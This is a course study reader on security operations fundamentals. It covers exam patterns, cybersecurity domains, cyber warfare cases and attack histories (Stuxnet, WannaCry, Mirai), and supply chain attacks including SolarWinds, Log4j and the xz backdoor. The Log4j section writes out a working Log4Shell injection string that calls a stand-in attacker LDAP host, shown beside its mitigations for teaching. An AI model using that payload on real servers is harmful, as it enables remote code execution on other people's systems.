CT72510 · BCT · Year IV Part I · Elective I · 80 marks · 3 hours
Security Operations Fundamentals
A working reader for Security Operations Fundamentals, built from the course's own Logpoint lecture decks, the class notes and every question on record: the 2081 and 2082 Bhadra board papers and two campus internals. So few papers exist that the reader is built from the syllabus: every topic is taught in full with drawn diagrams, every question the papers asked is answered in the words to write, and the topics no paper has asked yet carry a predicted question on their card, marked so it never passes for a real paper.
Where the marks areThe syllabus shares the 80 marks by hours
The syllabus's evaluation table gives every chapter marks in proportion to the hours it is taught. Chapters 2 and 3, Malware and cyber attacks and Cyber threat modeling and threat hunting, carry 15 marks each; chapter 8 carries 6. Point at a chapter's name to see how many of the 35 questions in the four sittings touched it.
The four sittings, question by question
The board papers set long questions of 10 marks: 2082 Bhadra asks all eight; 2081 Bhadra asked any six of Group A and every question in Group B, a case study with a calculation. The internals reuse the board's questions, so the same topics recur: the kill chain and incident response come up in every sitting, and most of the rest in two or more.
2083 internal · campus internal
Section A: Answer any four questions [20 Marks]
2082 Bhadra · board paper, Regular
Attempt All questions. All questions carry equal marks.
2082 internal · campus internal
Answer any 4 Questions. Question no 8 is mandatory.
2081 Bhadra · board paper, Regular
Attempt any Six questions selecting from Group A and All questions from Group B. All questions carry equal marks.
What to study first
These topics were asked in 2 or more of the 4 sittings. Learn them before anything else; each link opens its card.
- The Cyber Kill Chain: seven links an attacker must complete TOP 4/4
- IAAA, authentication factors, MFA and phishing-resistant MFA TOP 3/4
- Risk management: what it is, why it is needed, and the process TOP 3/4
- Cross-site scripting: reflected, stored and DOM-based TOP 3/4
- STRIDE: six categories of threat TOP 3/4
- The course's eight step IRP framework, mapped to NIST and SANS TOP 3/4
- Quantitative and qualitative risk analysis: AV, EF, SLE, ARO, ALE TOP 2/4
- The NIST Risk Management Framework, and why the ocean cannot be boiled TOP 2/4
- Cyber attack as global economic, political and technical warfare TOP 2/4
- Buffer overflow, TOCTOU, back doors and rootkits TOP 2/4
- SQL injection TOP 2/4
- The four critical web vulnerabilities together, and how to build resilience TOP 2/4
- Cross-site request forgery (XSRF or CSRF) TOP 2/4
- PASTA: a seven-stage, risk-centric method TOP 2/4
- Post-quantum cryptography: why vendors ship it before the quantum computer TOP 2/4
- SIEM as the SOC's hub: features, next-generation SIEM and posture TOP 2/4
- SOAR: orchestration, automation and response TOP 2/4
- The SOC visibility triad: logs, endpoints and the network TOP 2/4
- The IT audit process: six phases, and why follow-up decides its worth TOP 2/4
- Stopping insider abuse with policy, audit and monitoring TOP 2/4
- Responsible disclosure: report privately, fix, then publish TOP 2/4
- Intellectual property: copyright, trademark, patent and trade secret TOP 2/4
- Whistleblowing, and protecting the person who does it TOP 2/4
How to use this reader
- Chapters 1 to 8 are the study content: each topic explained in plain language, with drawn diagrams, worked examples, and at the foot of each card every question set on it, word for word, with the part the card answers lit. The copy button on a card copies it to paste into Claude and ask about.
- Three kinds of question sit under a card: asked on a paper (a sitting), set in the course (the lecture decks or the class notes set it as a question) and predicted (not asked yet: 31 from the class notes, 81 written for this reader). All 35 are answered.
- Summary gives every topic in a line or two, for the last read before the exam, and ends with the Recall sheet: every topic again as bare keywords.
- Compact chapters keep every detail of a chapter with the teaching prose taken out; one button copies a whole chapter to give Claude as context.
- Theory answers give the exam answer to every question that asks what a thing is, why it matters or how two things compare, written at the length its marks deserve.
- Practical answers give the ones that ask how a thing is done: the lifecycles, procedures and the risk calculation, step by step.
- Question bank reproduces all 35 questions word for word, each linked to its answer and its card.
- Mind map draws each chapter as its lists; Close all turns it into a test. Flashcards drill the definitions and every question.
Writing the paper
- About twenty minutes a question: 180 minutes for eight questions of 10 marks, with a few minutes to choose your six from Group A.
- Every answer has the same shape: a one line definition, the stages, types or steps with a line on each, a diagram where one exists, and an example.
- Two part questions split the marks. Give each part its share of the time, in the order asked.
- Draw the model. The CNSS cube, the kill chain, the pyramid of pain, the SIEM pipeline, the incident response lifecycle and the policy hierarchy each earn marks as a drawing.
- The case study shows its working. Write the formula, substitute, give the unit, then decide and justify, the way the warranty question is answered.
The whole subject on one page
Eight chapters and every topic card in them. The number beside a topic is how many of the 4 sittings asked it.
How to read the chips
| Chip | Means |
|---|---|
| TOP n/4 | Asked in 2 or more of the 4 sittings. |
| HOT 1/4 | Asked in one sitting. |
| COURSE | Not in a sitting we hold, but set as a question in the lecture decks or the class notes. |
| PREDICTED | Not asked anywhere yet: a question the class notes predict, or one written for this reader from the syllabus. |
| 10 | The marks the question has carried. |
Under each chip is the list of sittings that asked it: 81 Bh is the 2081 Bhadra board paper (bold, a board sitting); 82 int and 83 int are the campus internals of 2082 and 2083.
Chapter 1 · 4 hours · 7 of 80 marks in the syllabus · in all 4 sittings
Cyber security concepts and principles
The vocabulary and the logic the rest of the course is built on: what security protects (confidentiality, integrity and availability, and the goals around them), how protection is organised (the McCumber cube, design principles, defence in depth), and how an organization decides what to protect first (risk management, from the asset inventory to the NIST Risk Management Framework), with the policies that make it binding. The syllabus gives it 7 of the 80 marks, but the sittings lean on it hard: parts of four of the nine questions on the 2081 Bhadra board paper, and of four on the 2082 internal, come from this chapter.
- Cybersecurity and why it matters: protecting systems and data from malice, mistakes and mischance; the domains of the field; cyber attack as economic, political and technical warfare; the history of attacks from Maroochy Shire to Mirai; supply chain attacks (SolarWinds, Log4j, xz).
- The goals: the CIA triad and how operational technology reorders it (AIC); authenticity, accountability and non-repudiation; identification, authentication and MFA.
- Models and strategy: the CNSS (McCumber) cube, the security design principles, defence in depth.
- Threats and vulnerabilities: the risk vocabulary and the categories of threat.
- Risk: identification, assessment, quantitative analysis (SLE, ARO, ALE), controls, treatment and the NIST Risk Management Framework.
- Governance: policies, standards, baselines, guidelines and procedures; due care and due diligence.
- Chapter 2's attacks are the threats named here: each breaks a leg of the triad (denial of service breaks availability, a man in the middle confidentiality and integrity), and phishing is what phishing-resistant MFA answers.
- Chapter 3's threat modeling is risk identification done systematically: STRIDE maps each threat to the property it violates (spoofing to authenticity, tampering to integrity, repudiation to non-repudiation, information disclosure to confidentiality, denial of service to availability, elevation of privilege to authorization).
- Chapters 4 and 5 build the detective layer of defence in depth: logs give accountability, and SIEM and EDR watch the network and host layers.
- Chapter 6's incident response is the corrective and recovery control; the terminated vice president's case is a failure of the offboarding procedure taught here.
- Chapter 7 takes policy further (the security policy framework, its hierarchy, the NIST SP 800-14 tiers) and audits it; chapter 8 adds the law (cyber law in Nepal).
- 1.1 Introduction: what cybersecurity is, why it matters, its domains, cyber attack as economic, political and technical warfare, a short history of attacks, supply chain attacks
- 1.2 The CIA triad: confidentiality, integrity, availability, CIA priority and AIC in operational technology
- 1.3 Security goals and objectives: goals beyond the triad, IAAA, authentication factors and MFA, the CNSS security model, security design principles, defence in depth
- 1.4 Threats and vulnerabilities: assets, threats, vulnerabilities and risk, threat categories and where vulnerabilities come from
- 1.5 Risk assessment and management: risk management and why it is needed, risk identification, risk assessment, quantitative and qualitative analysis, security controls, risk treatment, the NIST RMF and boiling the ocean
- 1.6 Security policies and procedures: policies, standards, baselines, guidelines, procedures, due care and due diligence
- Recall Chapter 1 in one screen
- Ten mark essays: "you can't boil the ocean" with the NIST RMF (2081 Bhadra), what risk management is and why it is needed, in light of the RMF (2082 internal), and cyber attack as economic, political and technical warfare (both), each wanting named examples.
- A calculation: the LCD warranty case (SLE, ARO, ALE, buy or not) was set on both 2081 Bhadra and the 2082 internal. Learn the formulas and the decision rule.
- Half questions and short ones: authentication factors, MFA and phishing-resistant MFA share a question with STRIDE and PASTA; the CNSS model was a 5 mark question on the 2083 internal.
- The class notes predict pairs of asks for 8 marks: CIA with AIC, defence in depth, the risk identification steps, quantitative against qualitative with treatment, due care, the policy hierarchy.
1.1Introduction to cyber security
What cybersecurity is, why it matters, and its domains PREDICTED
Security in general is the quality or state of being secure, free from danger (Whitman and Mattord's definition, which the deck uses): protected from loss, damage, unwanted modification and other hazards. Information security protects information in every form, a printed file included; ISO/IEC 27000 defines it as the preservation of the confidentiality, integrity and availability of information. Cybersecurity is the part that protects the digital world: systems, networks, and the data they hold, process and carry.
The deck's introduction in four points:
- Scope: it covers many domains and aspects: network, application and information security, operational security, disaster recovery and end-user education.
- Threats: it faces many kinds of threat and attack: malware, phishing, ransomware, denial of service and advanced persistent threats.
- Who needs it: individuals and organizations of all sizes and sectors, since attacks seriously harm their privacy, reputation, assets and operations.
- A moving target: a dynamic, evolving field that needs constant vigilance, awareness and adaptation to the latest trends and technologies.
Security is never one control. The deck lists several strategies used together: a multilayered system (defence in depth), data abstraction, data hiding and encryption. Management's role is to see that each is planned, organised, staffed, directed and controlled.
Why it matters: malice, mistakes and mischance. Security measures safeguard against intentional harm, unintentional errors and unforeseen incidents, that is, against theft, fraud, disruption and destruction. Each kind of harm needs a different kind of control (the deck gives one example of each):
- Malice (deliberate attack): a system protecting sensitive data from malicious hackers trying to gain unauthorised access, steal information or disrupt operations; a ransomware gang encrypting a hospital's records is another case. Controls: access control, monitoring, encryption.
- Mistakes (honest errors by authorised people): access controls and verification procedures that stop authorised users from accidentally deleting or modifying critical data, an administrator dropping the wrong table or a clerk emailing a file to the wrong address. Controls: least privilege, verification steps, change control.
- Mischance (unforeseen incidents): a robust backup and recovery system that limits the data lost to system failures, natural disasters or hardware malfunctions: a disk failure, a power cut, an earthquake like Gorkha in 2015. Controls: backups, redundancy, a disaster recovery site.
To remember it: picture one eSewa wallet. A fake "KYC update" SMS that tricks its owner into typing the PIN is malice; sending Rs 5,000 to a mistyped mobile number is a mistake; the phone that holds it sinking in the Trishuli on a rafting trip is mischance. Each needs its own fix: alertness and MFA, a confirmation screen before paying, and a way to recover the account.
Why an organization should care. The deck lists the impacts of cyber attacks: reputational damage, financial loss, loss of customers, a drop in stock price and profits, and lost sales; sensitive customer information, intellectual property and even the control of key machinery are increasingly at risk. Its survey chart gives the share of organizations reporting each area hit by a breach:
| Area hit | Share | Area hit | Share |
|---|---|---|---|
| Operations | 36% | Business partner relationships | 22% |
| Finances | 30% | Supplier relationships | 20% |
| Brand reputation | 26% | Legal engagements | 20% |
| Customer retention | 26% | Regulatory scrutiny | 19% |
| Intellectual property | 24% | Had no security breach in the past year | 10% |
Yet management often looks away. The deck's complaint: at most organizations management still believes information security is a relatively unimportant issue, not worthy of considerable top management attention, and so often does not appreciate how doing a good job in the information security realm leads to tangible business benefits such as increased sales and competitive advantage. Its question: if being able to double the level of sales is not important to top management, what is? A meme in the deck makes the same point: the security budget is counted coin by coin before a data breach and thrown in the air after one.
"Cyber security is a CEO issue" (a McKinsey line the deck quotes), with five figures behind it:
- $3.5 million: the average cost of a data breach per incident.
- 63 percent of breaches: involve weak or stolen passwords.
- Over 300,000 new malware samples: created and spread every day.
- 266 to 365 days: the average time to detect and contain a breach.
- 87 percent of senior managers: admit to accidentally leaking business data.
Warren Buffett, quoted in full: "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you will do things differently." The deck's figures date from the mid 2010s; IBM's yearly Cost of a Data Breach report put the global average at about $4.9 million in 2024, so the point has only grown.
Attacks are prolific because the attack surface keeps increasing. The attack surface is all the vulnerabilities or weaknesses in the security controls that an attacker could exploit, together with the attack vectors threat actors use to gain unauthorised access to confidential data and carry out attacks: security gaps in IoT and smart devices, mobile devices, home networks, data centres, the supply chain. The deck's graphic lists what it is made up of:
| Part of the attack surface | Example |
|---|---|
| Cloud environments | servers and storage rented from a cloud provider |
| Unsanctioned cloud assets | a file share a team opened without IT's knowledge |
| Internet-facing assets | the website, the mail server, the VPN gateway |
| Externally facing on-premises assets | a server in the office's own rack reachable from outside |
| Internet assets owned by the organization | its domain names, IP address ranges and certificates |
| IoT and mobile devices | CCTV cameras, smart TVs, staff phones |
| Supply chain assets | a vendor's update channel, a contractor's remote access |
| M&A IT infrastructure | the network of a company just bought in a merger or acquisition |
Shadow IT, services staff set up without the security team, is a classic unmanaged addition to the surface, and the deck tells its story as a cartoon:
The domains of cybersecurity. The field is wide, so it is split into domains, each with its own controls and specialists:
| Domain | What it protects | Example controls |
|---|---|---|
| Network security | networks and the traffic on them | firewall, IDS/IPS, VPN, segmentation |
| Application security | software, from design to operation | secure coding, code review, web application firewall |
| Information (data) security | data at rest, in transit and in use | encryption, classification, data loss prevention |
| Identity and access management | who can reach what | MFA, single sign-on, least privilege |
| Cloud security | workloads and data in the cloud | secure configuration, the shared responsibility model |
| Operational security and security operations | day to day handling of data and access; monitoring and response | access reviews, SOC monitoring with SIEM, incident response |
| Disaster recovery and business continuity | the ability to keep running and recover | backups, DR site, business continuity plan |
| Governance, risk and compliance | direction, risk decisions, law | policy, risk assessment, audit, ISO/IEC 27001 |
| End-user education | the people layer | awareness and phishing training |
| Physical security | buildings, rooms and hardware | locks, guards, CCTV |
The deck's domain map (Henry Jiang's widely shared Map of Cybersecurity Domains) puts "cybersecurity domains" at the centre with nine branches. Every leaf, branch by branch:
| Branch | What sits under it on the map |
|---|---|
| Security architecture | network design; data protection; secure application development; secure system build and baseline configuration; cryptography; security engineering; access control; identity management (identity and access management, privileged access management); cloud security (CASB, the cloud access security broker; federated identity) |
| Framework and standard | NIST, ISO/IEC, COBIT, SANS/CSC (the critical security controls, now the CIS Controls) |
| Physical security | a branch of its own |
| Risk assessment | assets inventory; vulnerability scan; third party and fourth party risk; penetration test (red team and blue team, against social engineering, applications and infrastructure); source code scan (black box and white box); data-centric risk assessment with a data-flow map |
| Governance | laws and regulations (industry specific, federal, state); executive management involvement; risk informed decisions; reports and scorecards (KPIs and KRIs); audit; compliance and enforcement; the company's written supervisory procedures (WSPs): policy, standard, procedure, guideline |
| Threat intelligence | external, internal and contextual intelligence; IOCs (indicators of compromise); intelligence sharing |
| User education | training (new skills); awareness (reinforcement) |
| Career development | certification, conferences, training, peer groups, self study |
| Security operation | prevention, protection, detection; SOC and SIEM; vulnerability management; data leakage; active defence; incident response (breach notification, containment, eradication, investigation, forensics); recovery (BCP, DR) |
The certification roadmaps on the next two slides (CompTIA's IT certification roadmap, and Paul Jerimy's Security Certification Roadmap of 473 certifications, January 2023) are career guides, but the second sorts the field into the eight domains of the CISSP body of knowledge: security and risk management, asset security, security architecture and engineering, communication and network security, identity and access management, security assessment and testing, security operations, and software development security.
The specialised areas of security (the deck's older list, from Whitman and Mattord):
- Physical security: strategies to protect people, physical assets and the workplace from fire, unauthorised access and natural disasters: biometrics, a fence, CCTV, a fire extinguisher.
- Personnel security (the deck writes personal): protection of the people within the organization: an evacuation plan, floor wardens.
- Operations security: keeping the business running without interruption or compromise: the BCP and the DRP.
- Communications security: protection of communications media, technology and content, and of the ability to use them for the organization's objectives: encryption.
- Network security: protection of the data networking devices, connections and contents, and of the ability to use the network for data communication: firewall, IDS/IPS, DMZ.
- Information security (InfoSec): the whole, spanning all of them.
- What is cybersecurity, and why is it important for an organization today? Explain the major domains of cybersecurity with an example of each. Predicted, ch 1 Q1 · 4+6
Cyber attack as global economic, political and technical warfare TOP 2/4
82 int · 81 Bh10
The deck's case, point by point (its "Cybersecurity, why?" slide):
- Warfare: the cyber attack has transformed into a global economic, political and technical warfare.
- Evolving TTPs: attackers continuously evolve and develop sophisticated tactics, techniques and procedures.
- Speed: the most advanced attack can compromise a whole network in just a few hours; Ryuk ransomware has done it two hours after the initial access.
- Daily headlines: massive ransomware attacks, big-game hunting (ransomware gangs choosing large organizations that can pay large ransoms), widespread data breaches and critical vulnerabilities.
- What comes next: looking at the trend, the future of cyber attack might take a different turn with machine learning based approaches, making attacks faster, more automated and harder to detect.
How it got here is the subject of the next two cards: the history of attacks, in which tools grew cleverer while attackers needed less and less knowledge, and supply chain attacks, in which one compromised supplier reaches thousands of victims. Since about 2000 attackers have become organised businesses and state units.
Who attacks, and why (the deck's actors posing risk to a business):
- Cyber criminals: money, through fraud, ransomware and the sale of stolen data.
- Industrial competitors and foreign states: economic advantage for their own firms or country; advanced persistent threats (APTs), state backed groups, gather military and national intelligence.
- Hacktivists: political or ideological motives.
- Hackers: the challenge of it.
- Insiders: employees and others with legitimate access, by accident or deliberate misuse.
| Face | What it looks like | Examples |
|---|---|---|
| Economic | theft and extortion on an industrial scale; business stopped by ransomware | Bangladesh Bank (2016): fraudulent SWIFT messages stole $81 million (of $951 million attempted), attributed to North Korea's Lazarus group. NotPetya (2017): spread through a Ukrainian accounting software update and caused over $10 billion of damage; Maersk, Merck and Mondelez among the victims. Norsk Hydro (2019): targeted ransomware took down the IT infrastructure of a whole company and forced the aluminium maker into manual operation (the class notes' second economic example). Colonial Pipeline (2021): ransomware shut the main fuel pipeline of the US East Coast for days; about $4.4 million ransom was paid. |
| Political | states spying, disrupting and coercing without firing a shot | Estonia (2007): weeks of DDoS against government, banks and media during a dispute with Russia. Stuxnet (found 2010): a worm, widely attributed to the United States and Israel, that wrecked uranium enrichment centrifuges in Iran. Ukraine (December 2015): the first confirmed blackout caused by a cyber attack, about 225,000 customers. SolarWinds (2020): the Russian group APT29 (Cozy Bear) planted a backdoor in software updates installed by about 18,000 customers, US government agencies among them. |
| Technical | an arms race of tools and techniques | Attackers' tactics, techniques and procedures (TTPs) evolve continuously; the deck cites Ryuk ransomware taking a whole network two hours after initial access. Leaked state tools spread: the NSA's EternalBlue exploit drove WannaCry (2017) to over 200,000 computers in about 150 countries. Supply chain attacks turn one flaw into everyone's flaw: Log4j (2021), the xz backdoor (2024) (supply chain attacks). Machine learning based approaches may change attacks next. |
The same shift on industrial systems. The deck's timeline of attacks on operational technology, from Maroochy Shire (2000) to Norsk Hydro (2019), shows cyber attack turning from a nuisance into a weapon that floods rivers with sewage, wrecks centrifuges and blacks out cities (the history card).
Nepal is inside the war zone too. In 2017 attackers abused NIC Asia Bank's SWIFT connection to send fraudulent international transfers, the same route as the Bangladesh Bank theft.
What it means for defenders: security is a business and national risk, not an IT problem. The deck lists the victim's losses: reputational damage, financial loss, lost customers, falling stock and profit, lost sales, and increasingly control of machinery itself.
- The cyber-attack has transformed into global economic, political, and technical warfare. Explain with examples. 2082 internal Q9
- The cyber-attack has transformed into global economic, political, and technical warfare. Explain with examples. 2081 Bhadra Q8 · 10
A short history of attacks: from password guessing to Mirai PREDICTED
Then vs. now. The deck opens its history with a classic chart from the CERT Coordination Center at Carnegie Mellon, covering 1980 to 2000. In the class notes' words, the knowledge required by an intruder has decreased while the sophistication of the attacks has increased:
- The red line, attack sophistication, climbs through the techniques of each period: password guessing, self-replicating code, password cracking and exploiting known vulnerabilities (early 1980s); disabling audits, burglaries, back doors and hijacking sessions (late 1980s); sweepers, sniffers, network management diagnostics and packet spoofing (around 1990); GUI tools and automated probes and scans (mid 1990s); then www attacks, denial of service, distributed attack tools (DDoS), "stealth" and advanced scanning techniques, cross site scripting and, by 2000, sophisticated command and control.
- The green line, intruder knowledge, falls from high to low over the same years and crosses the red one in the early 1990s. The arrowheads are labelled tools and attackers: the sophistication moved into the tools, so the attackers no longer need it.
To remember it: once Wai Wai came in a packet, anyone could make noodles in two minutes without knowing how to cook; once an attack comes packaged as a tool, anyone can launch it without knowing how it works.
The industrial timeline. A second slide traces attacks on operational technology (OT), from one disgruntled man with a laptop to state weapons and ransomware gangs. The middle column is the deck's own line for each:
| Year | Incident | The deck's line | What happened |
|---|---|---|---|
| 2000 | Maroochy Shire, Australia | a large-scale environmental disaster caused by one disgruntled person | a former contractor drove the sewage SCADA system by radio (below) |
| 2003 | Davis-Besse nuclear plant, USA | the Slammer worm caused five hours' loss of safety system visibility | the worm got into the plant network and blinded a safety monitoring display; the reactor had been shut down for repairs since 2002 |
| 2010 | Stuxnet | the first attack causing cyberphysical damage against a nation state | a worm that wrecked uranium enrichment centrifuges at Natanz in Iran (below) |
| 2012 (deck: 2010) | Shamoon | demonstrated a large dependency on global markets and commodity hardware | a wiper erased about 30,000 computers at Saudi Aramco; recovery meant buying tens of thousands of replacement hard drives on the world market |
| 2014 | German steel mill | process and control were disrupted, causing physical damage | after a spear phishing entry, a blast furnace could not be shut down properly (reported by Germany's BSI) |
| 2015 | Ukraine powergrid | the first major cyber attack against a power grid | in December, attackers opened breakers at three distribution companies, cutting power to about 225,000 customers |
| 2015 | LOT flight plans | flight plan infrastructure disrupted, causing delays | LOT Polish Airlines' ground system could not issue flight plans at Warsaw, grounding flights |
| 2016 | Water treatment | a large-scale water treatment OT process altered, affecting residents | the deck does not name it; the case usually cited is the utility that Verizon's 2016 Data Breach Digest called Kemuri Water Company, where intruders changed valve settings and the chemicals added to the water |
| 2016 (deck: 2017) | Mirai botnet | the first major DDoS attacks using IoT and IP devices | hacked cameras and routers flooded Krebs on Security, OVH and the DNS provider Dyn (below) |
| 2017 | NotPetya | over $10 billion of damage to Merck, Maersk, Mondelez and a UK firm | a wiper posing as ransomware, spread through a Ukrainian accounting software update |
| 2017 | TRISIS (Triton) | the first major attack against safety instrumentation systems | it targeted the safety controllers of a petrochemical plant in Saudi Arabia and tripped a shutdown |
| 2018 | Labcore | (the deck repeats VPNFilter's line here) | most likely LabCorp, the US medical laboratory firm hit by SamSam ransomware in July 2018 |
| 2018 | VPNFilter | the first major commodity malware that included Modbus filters | it infected about 500,000 routers and storage devices in over 50 countries, and one module watched industrial Modbus traffic |
| 2019 | Norsk Hydro | targeted ransomware leveraging IT infrastructure | LockerGoga spread through the IT network and forced the aluminium maker into manual operation |
Windows on the timeline. Eight entries carry a Windows logo: Davis-Besse, Stuxnet, Shamoon, the Ukraine powergrid, NotPetya, Labcore, TRISIS and Norsk Hydro. Each of these attacks ran through ordinary Windows computers, the usual way into an industrial network. The slide ends with a question: what's next?
Maroochy Shire (2000), the deck's first case. A disgruntled former employee of the company that had installed the shire's sewage control system used a stolen laptop and radio equipment to remotely access and manipulate the SCADA (supervisory control and data acquisition) system controlling the sewage pumps. Over 800,000 litres of raw sewage were released into local rivers, parks and even a hotel's grounds, causing environmental damage and health hazards. After weeks of unexplained system malfunctions, investigators traced the attacks back to him; he was arrested and sentenced to two years in prison. One insider with system knowledge, and radio commands that nobody authenticated, were enough.
How Stuxnet worked (the deck's six step graphic; its last two steps are pictured on the AIC card):
- Infection: it entered through a USB stick and spread to Microsoft Windows machines; a digital certificate that made it look as if it came from a reliable company let it evade automated detection.
- Search: it checked whether the machine belonged to the targeted industrial control system, made by Siemens, of the kind Iran used to run the high-speed centrifuges that enrich nuclear fuel.
- Update: on any other system it did nothing; on a target it tried to reach the internet and download a newer version of itself.
- Compromise: it took over the target's logic controllers through zero-day vulnerabilities, flaws that security experts had not yet identified.
- Control: it first spied on the plant's operation, then used what it learnt to take control of the centrifuges and make them spin themselves to failure.
- Deceive and destroy: meanwhile it fed false readings to the outside controllers, so nobody knew what was wrong until it was too late.
How WannaCry worked (May 2017, shown beside the deck's NotPetya entry; NotPetya used the same EternalBlue exploit six weeks later):
- Arrive via exploit: EternalBlue, an exploit of the Windows file sharing (SMBv1) flaw
that patch MS17-010 had fixed in March 2017, delivers the worm through
lsass.exe. - Run as a service: the file
mssecsvc.exeinstalls itself as a service, first queries a web domain that acts as a kill switch, then spreads to other devices. - Drop the encryptor:
tasksche.exeperforms the encryption. - Drop the ransom note's parts: the
@WanaDecryptor@program (an .exe) and a.wnryconfiguration file. - Encrypt: local and shared files of 176 file types are encrypted and renamed
.WNCRY.
The kill switch is why it stopped: the malware quit if that unregistered domain answered, and on 12 May 2017 a researcher, Marcus Hutchins, registered it and halted the spread. Chapter 2 teaches ransomware, and chapter 6 the response to WannaCry.
How the Mirai botnet worked (the deck's figure, in nine numbered steps):
- Scan: existing bots scan for new victims and try brute force logins with factory default usernames and passwords.
- Report: they report each vulnerable device they identify to the report server.
- Send: the report server passes the victim's details to the load servers.
- Load: a load server logs in and loads the malware onto the victim.
- Join: the victim runs the malware and joins the other bots.
- Command: the C&C (command and control) server sends infect and attack commands to the bots.
- Check: the C&C server checks the botnet's status with the report server.
- Attack: the bots carry out DDoS attacks on the target.
- Stay in touch: the bots and the C&C server keep communicating.
Mirai began as a game war. Its authors, three young Americans who later pleaded guilty, built it to knock rival Minecraft game servers offline. In September 2016 it hit the Krebs on Security website and the French host OVH; its source code was then published, and on 21 October 2016 a Mirai botnet hit the DNS provider Dyn, taking sites such as Twitter and Netflix offline for many users. Chapter 2 teaches DoS and DDoS.
- Trace the history of major cyber attacks on industrial and critical systems from Maroochy Shire (2000) to Norsk Hydro (2019). Explain how the WannaCry ransomware and the Mirai botnet carried out their attacks. Predicted, ch 1 Q8 · 5+5
Supply chain attacks: SolarWinds, Log4j and the xz backdoor PREDICTED
Why it is so hard to stop:
- Trust is the way in: the update is signed by the real vendor, so antivirus, allow lists and signature checks all let it through.
- Nobody sees inside: a customer cannot inspect a vendor's build system, and few organizations know every library buried inside the software they run.
- One flaw, everyone's flaw: a library such as Log4j sits inside thousands of products, often maintained by a handful of volunteers.
- Patient attackers: the SolarWinds intruders worked unseen for fifteen months, and the xz attacker spent three years earning trust.
To remember it: picture a famous momo shop whose achar the whole street trusts. Nobody checks the achar, because everyone knows the shop; poison one batch at the supplier, and every plate served that day carries it into a hundred homes, though no customer did anything careless.
SolarWinds Orion (discovered December 2020)
The deck's facts: the threat actor (TA) was the Russian-backed group APT29 (Cozy Bear); about 18,000 customers were impacted, among them US government agencies and Microsoft, FireEye, Cisco, Intel, Nvidia and VMware; and FireEye detected the breach after discovering that its own red team tools had been stolen. The attackers planted SUNBURST, a backdoor, inside an update of SolarWinds' Orion network monitoring software, which customers installed as a normal, signed update.
| Date | Event (the deck's timeline) |
|---|---|
| 4 September 2019 | the threat actor accesses SolarWinds |
| 12 September 2019 | it injects test code and begins a trial run |
| 4 November 2019 | the test code injection ends |
| 20 February 2020 | SUNBURST is compiled and deployed |
| 26 March 2020 | Hotfix 5, carrying the SUNBURST DLL, is available to customers |
| 4 June 2020 | the actor removes its malware from the build virtual machines |
| 12 December 2020 | SolarWinds is notified of SUNBURST |
| 14 December 2020 | SolarWinds (ticker SWI) files a form 8-K with the US Securities and Exchange Commission and notifies shareholders and customers |
| 15 December 2020 | SolarWinds releases a software fix |
| 17 December 2020 | US-CERT issues its alert |
| 11 January 2021 | new findings on SUNSPOT, the implant on SolarWinds' build server that slipped SUNBURST into Orion as it was compiled; the investigation goes on |
Log4j and Log4Shell (December 2021)
Log4j is a widely used Java-based logging library, used to record system activity, debug issues and track events in enterprise applications, cloud services, IoT devices and even game servers like Minecraft. Its flaw Log4Shell (CVE-2021-44228, CVSS 10.0) let an attacker execute arbitrary code on a vulnerable server simply by getting a string logged; it surfaced in December 2021 on Minecraft servers, where typing the string into the game chat was enough. The deck's figure (by GovCERT.ch) shows the JNDI attack in five steps, and where each step is stopped:
- Inject: the attacker puts a JNDI lookup in a header field that is likely to be
logged, such as
User-Agent: ${jndi:ldap://evil.xa/x}. Stopped by a web application firewall rule. - Log: the vulnerable server passes the string to Log4j for logging. Stopped by patching Log4j, or disabling it.
- Look up: Log4j interpolates the string and queries the attacker's LDAP server,
ldap://evil.xa/x. Stopped by disabling JNDI lookups. - Answer: the malicious LDAP server responds with directory information that points to
a malicious Java class (
javaClassName,javaCodebase). - Execute: Java deserializes or downloads the malicious class and runs it. Stopped by disabling remote codebases.
What attackers did with it (the deck's "call to action" list): cryptomining, remote shells, ransomware, data exfiltration and APT intrusions. JNDI is the Java Naming and Directory Interface and LDAP the Lightweight Directory Access Protocol; Apache fixed the flaw in Log4j 2.15.0 and closed follow-on flaws up to 2.17.1.
The xz backdoor (discovered March 2024)
xz Utils (the class notes write XZ) is a data compression tool and library, liblzma, shipped with most Linux distributions; on several of them the OpenSSH server, sshd, loads liblzma indirectly. The attack was social engineering played over three years:
- 2021, a persona: the GitHub account JiaT75, "Jia Tan", is created.
- 2022, building reputation: Jia Tan sends a first contribution; several fake profiles pressure the overworked maintainer to accept contributions and take on a new maintainer, and he grants Jia Tan permissions and merges the work.
- 2023, taking control: Jia Tan becomes the primary contact for xz in Google's OSS-Fuzz (continuous fuzz testing for open source) and disables a security feature in the project's builds.
- 2024, the attack: Jia Tan adds the backdoor to releases 5.6.0 and 5.6.1, and more fake profiles urge Linux distributions to ship the new version.
- Discovery, by accident: the backdoor caused performance issues; Andres Freund, an engineer at Microsoft, noticed SSH logins taking about half a second longer and traced the cause. GitHub suspended the repository and the maintainers' accounts while it investigated. It was caught before most stable distribution releases shipped it (CVE-2024-3094).
How the backdoor installed itself (the deck's flow): the release tarball, not the source
anyone reviewed, carried a modified m4 macro script; building the package unpacked an archive
hidden among the test files, ran bash script 1 and then bash script 2, extracted the payload and
deployed the object file liblzma.o into the library. When sshd loaded the library, the
backdoor gave the attacker remote code execution (RCE) over SSH.
Defending against supply chain attacks:
- Know the ingredients: a software bill of materials (SBOM) lists every component of a product, so the question "where do we run Log4j?" takes minutes, not weeks.
- Third and fourth party risk: assess suppliers and their suppliers (the domain map's risk assessment branch).
- Patch fast: Log4Shell was mass-exploited within days of its disclosure.
- Least privilege and segmentation: a monitoring tool such as Orion holds wide rights, so limit what it can reach.
- Watch outbound traffic: SUNBURST had to call home and Log4Shell had to fetch a class from outside, so egress filtering and monitoring (logs and SIEM) can catch both.
- Secure the build: protected build servers, signed commits and reviewed releases, and support for the volunteers who maintain critical open source.
- What is a software supply chain attack, and why is it hard to defend against? Explain how the SolarWinds, Log4j and xz attacks worked. Predicted, ch 1 Q9 · 4+6
1.2CIA triad
The CIA triad: confidentiality, integrity, availability HOT 1/4
82 Bh10
Other names. The deck's triangle labels it the information security triad, and some texts call it the AIC triad (Shon Harris's CISSP guide writes it so, to avoid confusion with the US Central Intelligence Agency). In this course AIC means something else: the order of priority in operational technology (the next card).
